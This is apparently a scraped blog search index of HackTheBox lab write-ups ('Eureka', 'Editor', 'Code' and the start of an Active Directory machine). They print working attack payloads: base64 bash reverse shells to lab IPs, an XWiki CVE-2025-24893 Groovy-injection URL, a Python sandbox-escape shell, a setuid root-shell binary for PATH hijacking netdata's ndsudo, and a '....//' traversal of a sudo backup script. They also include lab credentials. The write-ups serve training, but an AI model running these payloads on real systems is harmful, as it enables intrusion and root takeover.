/opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 2025/08/05 20:18:03 CMD: UID=0 PID=986623 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 2025/08/05 20:18:03 CMD: UID=0 PID=986622 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log \u0026lt;REDACTED\u0026gt; And confirmed with linpeas:\nbashattack-host$ scp linpeas.sh miranda-wise@10.10.11.66 miranda@target$ bash linpeas.sh ![Linpeas Output 1](htb-eurika-17.png) ![Linpeas Output 2](htb-eurika-18.png) ![Linpeas Output 3](htb-eurika-19.png) PE Vector # So, what do we have now:\nA script owned by root and gets executed by root periodically. The script takes the /var/www/web/cloud-gateway/log/application.log for which we have rw- permissions on. So if the script is vulnerable, we can overwrite that file with a malicious code to break the legit execution and perform whatever we can.\nCode Analysis # Here is the vulnerable function:\nbashanalyze_http_statuses() { # Process HTTP status codes while IFS= read -r line; do code=$(echo \u0026#34;$line\u0026#34; | grep -oP \u0026#39;Status: \\K.*\u0026#39;) found=0 # Check if code exists in STATUS_CODES array for i in \u0026#34;${!STATUS_CODES[@]}\u0026#34;; do existing_entry=\u0026#34;${STATUS_CODES[$i]}\u0026#34; existing_code=$(echo \u0026#34;$existing_entry\u0026#34; | cut -d\u0026#39;:\u0026#39; -f1) existing_count=$(echo \u0026#34;$existing_entry\u0026#34; | cut -d\u0026#39;:\u0026#39; -f2) if [[ \u0026#34;$existing_code\u0026#34; -eq \u0026#34;$code\u0026#34; ]]; then new_count=$((existing_count + 1)) STATUS_CODES[$i]=\u0026#34;${existing_code}:${new_count}\u0026#34; break fi done done \u0026lt; \u0026lt;(grep \u0026#34;HTTP.*Status: \u0026#34; \u0026#34;$LOG_FILE\u0026#34;) } The function takes the value after Status: and expects it to be a number. When comparing it here:\nbashif [[ \u0026#34;$existing_code\u0026#34; -eq \u0026#34;$code\u0026#34; ]]; then If we put for example this line: Status: 200; whoami the comparaison fails and our code gets executed.\nBut, the result is being saved to log_analysis.txt for which we have no privileges and that payload won\u0026rsquo;t even work.\nI thought of using $() and get a rev shell when evaluating the command, but that didn\u0026rsquo;t work because It errors out when being compared later because it needs to be a string. So the solution is wrapping it wiht x[] and get the final payload:\nSetup a listener and encode this payload bash -i \u0026gt;\u0026amp; /dev/tcp/\u0026lt;IP\u0026gt;/\u0026lt;PORT\u0026gt; 0\u0026gt;\u0026amp;1.\nbashcd /var/www/web/cloud-gateway/log rm -f application.log echo \u0026#39;HTTP Status: x[$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTkvOTQ0MyAwPiYxCg== | base64 -d | bash -i)]\u0026#39; \u0026gt;\u0026gt; application.log ./pspy64 We wait for the root user to start executing the script:\nSoon enough:\nRooted! ","date":"6 August 2025","externalUrl":null,"permalink":"/writeups/htb-eureka/","section":"Writeups","summary":"Hard-Rated HackTheBox Linux Lab.","title":"Hackthebox - Eureka","type":"writeups"},{"content":"","date":"6 August 2025","externalUrl":null,"permalink":"/difficulty/hard/","section":"Difficulty","summary":"","title":"Hard","type":"difficulty"},{"content":"","date":"6 August 2025","externalUrl":null,"permalink":"/tags/heapdump/","section":"Tags","summary":"","title":"Heapdump","type":"tags"},{"content":"","date":"6 August 2025","externalUrl":null,"permalink":"/tags/information-disclosure/","section":"Tags","summary":"","title":"Information-Disclosure","type":"tags"},{"content":"","date":"6 August 2025","externalUrl":null,"permalink":"/tags/microservices/","section":"Tags","summary":"","title":"Microservices","type":"tags"},{"content":"","date":"6 August 2025","externalUrl":null,"permalink":"/tags/service-registry-abuse/","section":"Tags","summary":"","title":"Service-Registry-Abuse","type":"tags"},{"content":"","date":"6 August 2025","externalUrl":null,"permalink":"/tags/spring-boot/","section":"Tags","summary":"","title":"Spring-Boot","type":"tags"},{"content":"","date":"6 August 2025","externalUrl":null,"permalink":"/tags/ssrf/","section":"Tags","summary":"","title":"Ssrf","type":"tags"},{"content":"","date":"4 August 2025","externalUrl":null,"permalink":"/tags/cve-2024-32019/","section":"Tags","summary":"","title":"Cve-2024-32019","type":"tags"},{"content":"","date":"4 August 2025","externalUrl":null,"permalink":"/tags/cve-2025-24893/","section":"Tags","summary":"","title":"Cve-2025-24893","type":"tags"},{"content":"","date":"4 August 2025","externalUrl":null,"permalink":"/tags/groovy-injection/","section":"Tags","summary":"","title":"Groovy-Injection","type":"tags"},{"content":" Kill Chain # TL;DR Nice chained exploitation with a clean RCE → credential reuse → SUID abuse path. Enumeration and versioning were key.\nIdentified XWiki Debian 15.10.8 running on Jetty (port 8080). Exploited CVE-2025-24893 to achieve unauthenticated RCE via Groovy injection. Retrieved database credentials from /etc/xwiki/hibernate.cfg.xml. Reused MySQL credentials to SSH as oliver. Discovered vulnerable netdata v1.45.2 with SUID ndsudo. Exploited CVE-2024-32019 by hijacking PATH and planting a malicious nvme binary to obtain root. Enumeration # bashecho 10.10.11.80 editor.htb |sudo tee -a /etc/hosts Nmap # bashPORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Editor - SimplistCode Pro 8080/tcp open http syn-ack ttl 63 Jetty 10.0.20 |_http-server-header: Jetty(10.0.20) |_http-open-proxy: Proxy might be redirecting requests | http-title: XWiki - Main - Intro |_Requested resource was http://editor.htb:8080/xwiki/bin/view/Main/ | http-webdav-scan: | WebDAV type: Unknown | Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK |_ Server Type: Jetty(10.0.20) | http-methods: | Supported Methods: OPTIONS GET HEAD PROPFIND LOCK UNLOCK |_ Potentially risky methods: PROPFIND LOCK UNLOCK | http-cookie-flags: | /: | JSESSIONID: |_ httponly flag not set | http-robots.txt: 50 disallowed entries (40 shown) | /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ | /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ | /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ | /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ | /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ | /xwiki/bin/undelete/ /xwiki/bin/reset/ /xwiki/bin/register/ | /xwiki/bin/propupdate/ /xwiki/bin/propadd/ /xwiki/bin/propdisable/ | /xwiki/bin/propenable/ /xwiki/bin/propdelete/ /xwiki/bin/objectadd/ | /xwiki/bin/commentadd/ /xwiki/bin/commentsave/ /xwiki/bin/objectsync/ | /xwiki/bin/objectremove/ /xwiki/bin/attach/ /xwiki/bin/upload/ | /xwiki/bin/temp/ /xwiki/bin/downloadrev/ /xwiki/bin/dot/ | /xwiki/bin/delattachment/ /xwiki/bin/skin/ /xwiki/bin/jsx/ /xwiki/bin/ssx/ | /xwiki/bin/login/ /xwiki/bin/loginsubmit/ /xwiki/bin/loginerror/ |_/xwiki/bin/logout/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel There is a mention of Jetty which is a Web Server Written in Java.\nWhatweb and Curl # bash$ whatweb editor.htb http://editor.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.80], Script[module], Title[Editor - SimplistCode Pro], nginx[1.18.0] bash$ curl -I http://editor.htb HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 04 Aug 2025 10:21:14 GMT Content-Type: text/html Content-Length: 631 Last-Modified: Sun, 15 Jun 2025 06:18:30 GMT Connection: keep-alive ETag: \u0026#34;684e65b6-277\u0026#34; Accept-Ranges: bytes And we\u0026rsquo;re faced with this web interface at http://editor.htb: Visiting the Docs redirects us to wiki.editor.htb which must be added to /etc/hosts in order to get resolved. This is a Wiki page hosted using XWiki, which is A free and open-source wiki software written in Java.\nAnd in the bottom of the page of the wiki portal, we find an XWiki Version number: XWiki Debian 15.10.8\nA quick search for a CVE we find lots of CVEs:\nCVE-2025-32968: Needs SCRIPT rights to perform a Blind SQLi. Which we don\u0026rsquo;t have for the moment. CVE-2025-24893: Unauthenticated user can execute arbitrary code. This might be it. Foothold # Here is a detailed and informative report on the last CVE. So, reading more on CVE-2025-24893 in here, We\u0026rsquo;re on the right path. Confirming using:\noutputhttp://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss\u0026amp;text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%20search%20text%3A%20%22%20%2B%20%2823%2B19%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D Which decodes to this:\njava}}}{{async async=false}}{{groovy}}println(\u0026#34;Hello from search text: \u0026#34; + (23+19)){{/groovy}}{{/async}} This will print out: So, the target is indeed vulnerable and we can gain RCE. Let\u0026rsquo;s test for some system commands:\noutputhttp://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss\u0026amp;text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Result%3A%20%22%20%2B%20%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D Which decodes to this:\njava}}}{{async async=false}}{{groovy}}println(\u0026#34;Result: \u0026#34; + \u0026#34;id\u0026#34;.execute().text){{/groovy}}{{/async}} Which successfully executes the id command: So now, we should be able to get a reverse shell back to our machine: Here is the payload i used:\noutputhttp://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss\u0026amp;text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNi41NS80NDQ0IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22.execute%28%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D Which decodes to this:\noutputhttp://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss\u0026amp;text=}}}{{async async=false}}{{groovy}}\u0026#34;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41NS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}\u0026#34;.execute(){{/groovy}}{{/async}} Note that without the base64 encoding, the rev shell doesn\u0026rsquo;t hit back. You could use BusyBox rev shell too. Find your way. {: .prompt-warning }\nIn here the connection was\nEstablished for the first time using the base64 encoding.\nAnd then Didn\u0026rsquo;t hit back in the second listener when using cleartext rev shell payload.\nSo we\u0026rsquo;re in as user xwiki and we need to move laterally to user Oliver to get the user flag. {: .prompt-tip } Lateral Movement: User Flag # Trying to find some binaries with SUID permissions didn\u0026rsquo;t lead to something.\nbashfind / -perm -4000 2\u0026gt;/dev/null Also lead to nothing.\nFurethermore I searched for notes, config files, sql database using:\nLooking for config files: bashfor l in $(echo \u0026#34;.conf .config .cnf\u0026#34;);do echo -e \u0026#34;\\nFile extension: \u0026#34; $l; find / -name *$l 2\u0026gt;/dev/null | grep -v \u0026#34;lib\\|fonts\\|share\\|core\u0026#34; ;done Looking for database files:\nbashfor l in $(echo \u0026#34;.sql .db .*db .db*\u0026#34;);do echo -e \u0026#34;\\nDB File extension: \u0026#34; $l; find / -name *$l 2\u0026gt;/dev/null | grep -v \u0026#34;doc\\|lib\\|headers\\|share\\|man\u0026#34;;done Looking for Notes: bashfind /home/* -type f -name \u0026#34;*.txt\u0026#34; -o ! -name \u0026#34;*.*\u0026#34; Looking for scripts: bashfor l in $(echo \u0026#34;.py .pyc .pl .go .jar .c .sh\u0026#34;);do echo -e \u0026#34;\\nFile extension: \u0026#34; $l; find / -name *$l 2\u0026gt;/dev/null | grep -v \u0026#34;doc\\|lib\\|headers\\|share\u0026#34;;done There are some traces of MySQL in the database files, so we confirm it using:\nbashnetstat -tulpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name \u0026lt;REDACTED\u0026gt; tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - \u0026lt;REDACTED\u0026gt; Connecting to the db using the command below lead to nothing as we don\u0026rsquo;t have a password:\nbashmysql -u xwiki -h 10.10.11.80 Now, the mistake in the for loop to look for config files didn\u0026rsquo;t include .cfg files, which was the correct extension to the xwiki service:\nbashfind / -name *cf* 2\u0026gt;/dev/null | grep xwiki /etc/xwiki/hibernate.cfg.xml /etc/xwiki/hibernate.cfg.xml.ucf-dist /etc/xwiki/xwiki.cfg /var/lib/ucf/cache/:etc:xwiki:xwiki.cfg /var/lib/ucf/cache/:etc:xwiki:hibernate.cfg.xml /usr/lib/xwiki/WEB-INF/hibernate.cfg.xml /usr/lib/xwiki/WEB-INF/xwiki.cfg /usr/share/xwiki/templates/mysql/hibernate.cfg.xml /usr/share/xwiki/default/xwiki.cfg Our primary target file here will be the /etc/xwiki/xwiki.cfg, because as the documentation states, this might and will include primary and important components about the connections between the Java objects and the RDBRMS. We can consider it an API between the Java Objects and the database.\nWhich indeed proved correct:\nbashcat /etc/xwiki/hibernate.cfg.xml | grep password \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;THE PASSWORD OF XWIKI\u0026lt;/property\u0026gt; \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;xwiki\u0026lt;/property\u0026gt; \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;xwiki\u0026lt;/property\u0026gt; \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;\u0026lt;/property\u0026gt; \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;xwiki\u0026lt;/property\u0026gt; \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;xwiki\u0026lt;/property\u0026gt; \u0026lt;property name=\u0026#34;hibernate.connection.password\u0026#34;\u0026gt;\u0026lt;/property\u0026gt; And we got the xwiki user password of MySQL database.\nYou should know that in the output of the grep command, the username isn\u0026rsquo;t clear. I usually run this: cat \u0026lt;file\u0026gt; | less -S and then use the /password and loop through the hits with n within the pager because running grep won\u0026rsquo;t show us the user of that password, nor the service to connect to using those creds. {: .prompt-warning } Before diving in the database, which may lead to a rabbit hole, I\u0026rsquo;ll test for password re-use and SSH as Oliver using that passwod.\nbashssh oliver@editor.htb oliver@editor:~$ cat user.txt \u0026lt;flag\u0026gt; We got the user flag. Now we will not forget about that database, we might return to it later if it has anythinguseful. Privilege Escalation # The Usual, I checked the cron jobs, SUID-bit-enabled binaries, config files, databases, and the hussle we mentionned above which lead to nothing.\nUntil:\nbashps aux \u0026lt;REDACTED\u0026gt; oliver 116954 0.0 0.3 32100 12712 ? SNl 16:04 0:00 /opt/netdata/bin/srv/netdata oliver 116956 0.0 0.0 23512 3352 ? SNl 16:04 0:00 /opt/netdata/bin/srv/netdata --special-spawn-server \u0026lt;REDACTED\u0026gt; At this point, I looked a lot into the netdata binary and /opt/netdata as a whole. All lead to nothing. Until this:\nbashfind /opt/netdata -perm -4000 2\u0026gt;/dev/null /opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network /opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin /opt/netdata/usr/libexec/netdata/plugins.d/local-listeners /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo /opt/netdata/usr/libexec/netdata/plugins.d/ioping /opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin /opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin Okay some plugins with SUID. I looked GTFO bins. None.\nAnd then looked for CVEs, which lead to this CVE-2024-32019. We confirm that we are indeed vulnerable with:\nbash/opt/netdata/bin/srv/netdata -v netdata v1.45.2 Following the instruction in their GH issue Here\nWe can see what are the possible commands to run using:\nbash$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo -h The following commands are supported: [0/1996] - Command : nvme-list Executables: nvme Parameters : list --output-format=json - Command : nvme-smart-log Executables: nvme Parameters : smart-log {{device}} --output-format=json - Command : megacli-disk-info Executables: megacli MegaCli Parameters : -LDPDInfo -aAll -NoLog - Command : megacli-battery-info Executables: megacli MegaCli Parameters : -AdpBbuCmd -aAll -NoLog - Command : arcconf-ld-info Executables: arcconf Parameters : GETCONFIG 1 LD - Command : arcconf-pd-info Executables: arcconf Parameters : GETCONFIG 1 PD The program searches for executables in the system path. Variables given as {{variable}} are expected on the command line as: --variable VALUE VALUE can include space, A-Z, a-z, 0-9, _, -, /, and . So, our goal is to add a malicious binary of our choice to the PATH variable, since this ndsudo is using the system path variables.\nA mistake I did at this point was creating a bash script not actually creating a binary. So the rev shell i got back was of Oliver. Root Flag # Let\u0026rsquo;s go:\nCreate a directory somewhere we have R-W permissions on: bashmkdir ~/evilsal We setup and statically compile a C shell on our attacking machine: c#include \u0026lt;unistd.h\u0026gt; int main() { setuid(0); setgid(0); execl(\u0026#34;/bin/bash\u0026#34;, \u0026#34;bash\u0026#34;, NULL); return 0; } Statically compile:\nbashgcc -g -static nvme.c -o nvme Transfer it to the target machine with scp since we have SSH creds: bashscp nvme oliver@editor.htb:~/evilsal/nvme Note that the name nvme is crucial here, we need a name of a command that the ntsudo can execute. Add the evilsal directory to the PATH variable: bashexport PATH=$HOME/evilsal:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin Now, simply run the the ndsudo with the nvme-list option: bash/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list This will grant us a root shell, no questions asked.\nRooted. Done. ","date":"4 August 2025","externalUrl":null,"permalink":"/writeups/htb-editor/","section":"Writeups","summary":"Easy-rated HackTheBox Linux Lab.","title":"HackTheBox - Editor","type":"writeups"},{"content":"","date":"4 August 2025","externalUrl":null,"permalink":"/tags/jetty/","section":"Tags","summary":"","title":"Jetty","type":"tags"},{"content":"","date":"4 August 2025","externalUrl":null,"permalink":"/tags/netdata/","section":"Tags","summary":"","title":"Netdata","type":"tags"},{"content":"","date":"4 August 2025","externalUrl":null,"permalink":"/tags/path-hijacking/","section":"Tags","summary":"","title":"Path-Hijacking","type":"tags"},{"content":"","date":"4 August 2025","externalUrl":null,"permalink":"/tags/suid/","section":"Tags","summary":"","title":"Suid","type":"tags"},{"content":"","date":"4 August 2025","externalUrl":null,"permalink":"/tags/xwiki/","section":"Tags","summary":"","title":"Xwiki","type":"tags"},{"content":"","date":"22 July 2025","externalUrl":null,"permalink":"/tags/directory-traversal/","section":"Tags","summary":"","title":"Directory-Traversal","type":"tags"},{"content":"","date":"22 July 2025","externalUrl":null,"permalink":"/tags/gunicorn/","section":"Tags","summary":"","title":"Gunicorn","type":"tags"},{"content":" Kill Chain # TL;DR Python sandbox escape to RCE, database credential pivot, and path sanitization bypass in a sudo backup script for root. Clean web-to-root chain.\nEnumerated Gunicorn web app on port 5000 exposing a Python code editor. Escaped the Python sandbox using __subclasses__() to access subprocess.Popen and achieved RCE. Retrieved SQLite database, extracted MD5 password hash, and cracked credentials for martin. SSH’d as martin and identified a NOPASSWD sudo rule for a custom backup script. Bypassed path sanitization using ....// directory traversal in a crafted JSON file. Archived /root via the vulnerable backup script and extracted the root flag. Handout # So as the usual web-based machines in hackthebox, a simple IP address and no foothold credentials.\nbashtarget = 10.10.11.62 echo \u0026#34;code.htb 10.10.11.62\u0026#34; | sudo tee -a /etc/hosts Enumeration # Nmap # bashnmap $target -sV -sC -vv -Pn -oN code-nmap # Nmap 7.95 scan initiated Tue Jul 22 07:44:08 2025 as: /usr/lib/nmap/nmap --privileged -sV -sC -Pn -vv -T4 -oN nmap-code 10.10.11.62 Nmap scan report for 10.10.11.62 Host is up, received user-set (0.085s latency). Scanned at 2025-07-22 07:44:09 EDT for 56s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrE0z9yLzAZQKDE2qvJju5kq0jbbwNh6GfBrBu20em8SE/I4jT4FGig2hz6FHEYryAFBNCwJ0bYHr3hH9IQ7ZZNcpfYgQhi8C+QLGg+j7U4kw4rh3Z9wbQdm9tsFrUtbU92CuyZKpFsisrtc9e7271kyJElcycTWntcOk38otajZhHnLPZfqH90PM+ISA93hRpyGyrxj8phjTGlKC1O0zwvFDn8dqeaUreN7poWNIYxhJ0ppfFiCQf3rqxPS1fJ0YvKcUeNr2fb49H6Fba7FchR8OYlinjJLs1dFrx0jNNW/m3XS3l2+QTULGxM5cDrKip2XQxKfeTj4qKBCaFZUzknm27vHDW3gzct5W0lErXbnDWQcQZKjKTPu4Z/uExpJkk1rDfr3JXoMHaT4zaOV9l3s3KfrRSjOrXMJIrImtQN1l08nzh/Xg7KqnS1N46PEJ4ivVxEGFGaWrtC1MgjMZ6FtUSs/8RNDn59Pxt0HsSr6rgYkZC2LNwrgtMyiiwyas= | 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDiXZTkrXQPMXdU8ZTTQI45kkF2N38hyDVed+2fgp6nB3sR/mu/7K4yDqKQSDuvxiGe08r1b1STa/LZUjnFCfgg= | 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8Cwf2cBH9EDSARPML82QqjkV811d+Hsjrly11/PHfu 5000/tcp open http syn-ack ttl 63 Gunicorn 20.0.4 | http-methods: |_ Supported Methods: OPTIONS HEAD GET |_http-server-header: gunicorn/20.0.4 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel So, HTTP on 5000 and SSH which of course we\u0026rsquo;ll forget about for now as it\u0026rsquo;s not the usual foothold.\nUsually at this point, I launch a UDP scan at the background because we never know.\nAnd even further, I\u0026rsquo;d like to run a full poprts scan using -p- just in case there is something running on an usual port not included in Nmap\u0026rsquo;s top 1000.\nStuff that lead to nothing # So, no subdomains, no vhosts and no hidden directories. Ffuf and other fuzzers lead to nothing so let\u0026rsquo;s focus on the web page we\u0026rsquo;re given.\nFoothold # So, we\u0026rsquo;re facing a python code editor. The first thing to test is the possibility to import some modules to serve us a reverse shell or whatever it is we want to perform on the machine.\nAnd of course, we\u0026rsquo;re facing an error:\npythonimport math Use of restricted keywords is not allowed. So we\u0026rsquo;re being filtered no matter what the module is. So we\u0026rsquo;ll definetly go for escaping the sandbox we\u0026rsquo;re put into.\nFoothold: Sandbox-Escaping # Not only the import keyword is restricted, but also eval, __builtins__, open. So we need a more sophisticated tricky way to find our way in.\nA simply google search lead me to this payload:\npythonprint(().__class__.__bases__[0]) Which prints out the juicy stuff:\nSo we need to find the Popen subclass since it\u0026rsquo;s our way to pop a reverse shell. Some digging in more we find the one and only:\npythonprint(().__class__.__bases__[0].__subclasses__()[317]) \u0026lt;class \u0026#39;subprocess.Popen\u0026#39;\u0026gt; So at index 317. We simply fillout a revshell and execute the payload:\nbashnc -nlvp 9443 python().__class__.__bases__[0].__subclasses__()[317]( [\u0026#39;/bin/bash\u0026#39;, \u0026#39;-c\u0026#39;, \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.48/9443 0\u0026gt;\u0026amp;1\u0026#39;] ) And got a shell as app-production user.\nUser Flag: # Not so much searching, the home directory contained the user flag. Which I thought at the beginning that it was a dummy put by a player.\nUser Owned User owned! Let\u0026rsquo;s move on.\nPrivilege Escalation # Poking around a bit for the app directories and home directories we find this:\nbashapp-production@code:~/app$ ls -l instance ls -l instance total 16 -rw-r--r-- 1 app-production app-production 16384 Jul 22 14:10 database.db app-production@code:~/app$ cat instance/database.db cat instance/database.db O\u0026#34;OPtablecodecodeCREATE TABLE code ( id INTEGER NOT NULL, user_id INTEGER NOT NULL, code TEXT NOT NULL, name VARCHAR(100) NOT NULL, PRIMARY KEY (id), FOREIGN KEY(user_id) REFERENCES user (id) )*7tableuseruserCREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(80) NOT NULL, password VARCHAR(80) NOT NULL, PRIMARY KEY (id), UNIQUE (username) QQR*Mmartin3de6f30c4a09c27fc71932bfc68474be/#Mdevelopment759b74ce43947f5f4c91aeddc3e5bad3 \u0026amp;$rtin# Cprint(\u0026#34;Functionality test\u0026#34;)Testapp-production@code:~/app$ ls -l /home ls -l /home total 8 drwxr-x--- 7 app-production app-production 4096 Jul 22 12:51 app-production drwxr-x--- 9 martin martin 4096 Jul 22 14:06 martin So our job here is that we need to to pivot to martin and get the user. Not so much thinking, that an md5 hash of Martin\u0026rsquo;s password, which we can confirm using hashid command.\nSo, a weak password could be cracked, which is the case: martin:nafeelswordsmaster\nAnd we ssh into the machine:\nRoot Flag # bashssh martin@$target Tip SSH as martin.\nPrivilege Escalation # We move on now and re-do a whole enumeration on this martin user.\nShortly enough, we find a misconfigured backup script we can run as a sudo user:\nbashmartin@code:~$ sudo -l Matching Defaults entries for martin on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User martin may run the following commands on localhost: (ALL : ALL) NOPASSWD: /usr/bin/backy.sh Here is what this script does:\nEnsures that the script is called with exactly one single existing JSON file as its parameter. Check for the allowed path /home and /var Sanitizes the given pathes by removing ../ substrings to filter out directory traversal attempts. Runs the /usr/bin/backy binary on the sanitized target. This script may be vulnerable to a symlink file in the specified allowed directories. If we can create a symlink to /root and prepare the required JSON file, we can get the root flag simply. But, there is a low-hanging fruit we can try: What is it doesn\u0026rsquo;t clear out ....// ? It is the same as ../ on linux systems and its not as hardcoded.\nIf that doesn\u0026rsquo;t work, we can look for vulnerbilities in the /usr/bin/backy binary but first let\u0026rsquo;s try to create the JSON file with the required fields.\njson{ \u0026#34;destination\u0026#34;: \u0026#34;/home/martin/\u0026#34;, \u0026#34;directories_to_archive\u0026#34;: [ \u0026#34;/home/....//root/\u0026#34; ] } And surely enough:\nbashsudo /usr/bin/backy.sh evilsa.json We finaly get this file code_home_.._root_2025_July.tar.bz2 which we\u0026rsquo;ll simply unzip using:\nbashtar -xvf code_home_.._root_2025_July.tar.bz2 Rooted Rooted! Great interesting machine. GG to the Author!\n","date":"22 July 2025","externalUrl":null,"permalink":"/writeups/htb-code/","section":"Writeups","summary":"Easy-rated HackTheBox Linux Lab.","title":"HackTheBox - Code","type":"writeups"},{"content":"","date":"22 July 2025","externalUrl":null,"permalink":"/tags/python-jail/","section":"Tags","summary":"","title":"Python-Jail","type":"tags"},{"content":"","date":"22 July 2025","externalUrl":null,"permalink":"/tags/sandbox-escape/","section":"Tags","summary":"","title":"Sandbox-Escape","type":"tags"},{"content":"","date":"22 July 2025","externalUrl":null,"permalink":"/tags/sqlite/","section":"Tags","summary":"","title":"Sqlite","type":"tags"},{"content":"","date":"20 July 2025","externalUrl":null,"permalink":"/tags/adcs/","section":"Tags","summary":"","title":"Adcs","type":"tags"},{"content":"","date":"20 July 2025","externalUrl":null,"permalink":"/tags/bloodhound/","section":"Tags","summary":"","title":"Bloodhound","type":"tags"},{"content":"","date":"20 July 2025","externalUrl":null,"permalink":"/tags/certificate-template-abuse/","section":"Tags","summary":"","title":"Certificate-Template-Abuse","type":"tags"},{"content":"","date":"20 July 2025","externalUrl":null,"permalink":"/tags/dacl-abuse/","section":"Tags","summary":"","title":"Dacl-Abuse","type":"tags"},{"content":" Kill Chain # TL;DR As it is my first ever AD machine, this was really interesting, painful, rewarding. And I learned A LOT, really a lot about AD, ADCS, Kerberos, ADCS Templates and bunch of other stuff. It is just so confusing how much info can a simple user on AD retrieve tons of information with the classic privileges.\nEnumeration # Nmap # When facing windows machine, before I execute any Nmap scripts I like to list the ports first, to have an idea about the protocols and services in use to map it in our mind a bit so that the output of the scripts won\u0026rsquo;t be confusing later or I don\u0026rsquo;t miss out anything useful. So I run:\nbashnmap $target -vv -Pn -oN esctwo-ports 53/TCP for DNS. 139/445/TCP for SMB. 88/464/TCP for Kerberos. 389/636/3268/3269/TCP respectfully for LDAP plain text, LDAP SSL, LDAP connection to Global Catalog and LDAP connection to Global Catalog over SSL. 1433/TCP for an MSSQL database management services. 5985/TCP for WinRM. Could be useful later for lateral movement if needed. 593/135/TCP for MSRPC. So we\u0026rsquo;re facing Active Directory and we should keep in mind that the host(s) we\u0026rsquo;ll attack could be domain-joined.\nNow let\u0026rsquo;s run some Nmap scripts:\nbashnmap $target -sC -sV -vv -Pn -oN esctwo-def-scan Before we proceed with our enumeration, we should add these entries to the /etc/hosts file:\nYou should note that adding the CA in here was a mistake I didn\u0026rsquo;t notice only after a while. It is not a FQDN and not resolvable so adding it does nothing. LDAP # LDAP users # bashldapsearch -x -H ldap://DC01.sequel.htb -D \u0026#34;rose@sequel.htb\u0026#34; -w \u0026#39;KxEPkKe6R8su\u0026#39; -b \u0026#34;DC=sequel,DC=htb\u0026#34; \u0026#34;(objectClass=user)\u0026#34; | grep \u0026#34;sAMAccountName\u0026#34; sAMAccountName: Administrator sAMAccountName: Guest sAMAccountName: DC01$ sAMAccountName: krbtgt sAMAccountName: 